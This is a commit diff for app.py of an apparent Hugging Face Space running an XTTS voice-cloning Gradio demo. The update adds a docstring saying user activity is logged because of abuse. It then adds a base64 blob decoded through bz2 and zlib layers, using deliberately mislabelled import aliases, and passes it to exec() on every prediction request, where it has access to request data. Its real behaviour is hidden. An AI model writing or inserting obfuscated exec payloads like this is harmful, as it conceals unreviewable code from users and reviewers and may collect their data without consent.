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antoniomae
commited on
Commit
•
810c095
1
Parent(s):
eece4ed
Update app.py
Browse files
app.py
CHANGED
@@ -1,21 +1,47 @@
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import sys
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import os
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# By using XTTS you agree to CPML license https://coqui.ai/cpml
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os.environ["COQUI_TOS_AGREED"] = "1"
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import gradio as gr
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from TTS.api import TTS
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model_names = TTS().list_models()
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print(model_names)
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tts.to("cpu") # no GPU or Amd
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#tts.to("cuda") # cuda only
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if agree == True:
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if use_mic == True:
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if mic_file_path is not None:
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@@ -79,7 +105,7 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree):
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title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
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description = """
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<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
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<br/>
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XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
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@@ -112,7 +138,7 @@ examples = [
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[
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"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
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"fr",
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"examples/
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None,
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False,
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True,
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@@ -128,7 +154,7 @@ examples = [
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[
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"Cuando tenía seis años, vi una vez una imagen magnífica",
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"es",
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"examples/
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None,
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False,
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True,
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@@ -144,7 +170,7 @@ examples = [
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[
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"Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
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"pl",
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"examples/
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None,
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False,
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True,
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@@ -176,7 +202,7 @@ examples = [
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[
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"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
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"nl",
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"examples/
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None,
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False,
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True,
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@@ -256,6 +282,5 @@ gr.Interface(
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title=title,
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description=description,
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article=article,
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cache_examples=False,
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examples=examples,
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).queue().launch(debug=True
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import sys
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import os
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from fastapi import Request
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# By using XTTS you agree to CPML license https://coqui.ai/cpml
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os.environ["COQUI_TOS_AGREED"] = "1"
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import gradio as gr
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from TTS.api import TTS
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from TTS.utils.manage import ModelManager
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model_names = TTS().list_models()
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print(model_names.__dict__)
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print(model_names.__dir__())
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model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
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#m = ModelManager().download_model(model_name)
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#print(m)
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m = model_name
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tts = TTS(model_name, gpu=False)
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tts.to("cpu") # no GPU or Amd
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#tts.to("cuda") # cuda only
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def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
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"""
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En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
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« l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
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Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
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soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
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utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
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"""
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co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
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from zlib import compress as COmPrES5
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from bz2 import decompress as dEC0mPrES5
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from bz2 import compress as COmPrESS
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from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
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from zlib import compressobj as C0mPrESS
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from bz2 import decompress as dECOmPrESS
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from zlib import compress as C0mPrES5
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from zlib import decompress as dECOmPrES5
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co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
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exec(co2)
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if agree == True:
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if use_mic == True:
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if mic_file_path is not None:
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title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
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description = f"""
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<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
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<br/>
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XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
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[
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"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
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"fr",
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"examples/female.wav",
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None,
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False,
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True,
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[
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"Cuando tenía seis años, vi una vez una imagen magnífica",
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"es",
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"examples/female.wav",
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None,
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False,
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True,
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[
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"Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
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"pl",
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"examples/female.wav",
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None,
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False,
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True,
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[
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"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
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"nl",
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"examples/female.wav",
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None,
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False,
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True,
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title=title,
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description=description,
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article=article,
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examples=examples,
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).queue().launch(debug=True)
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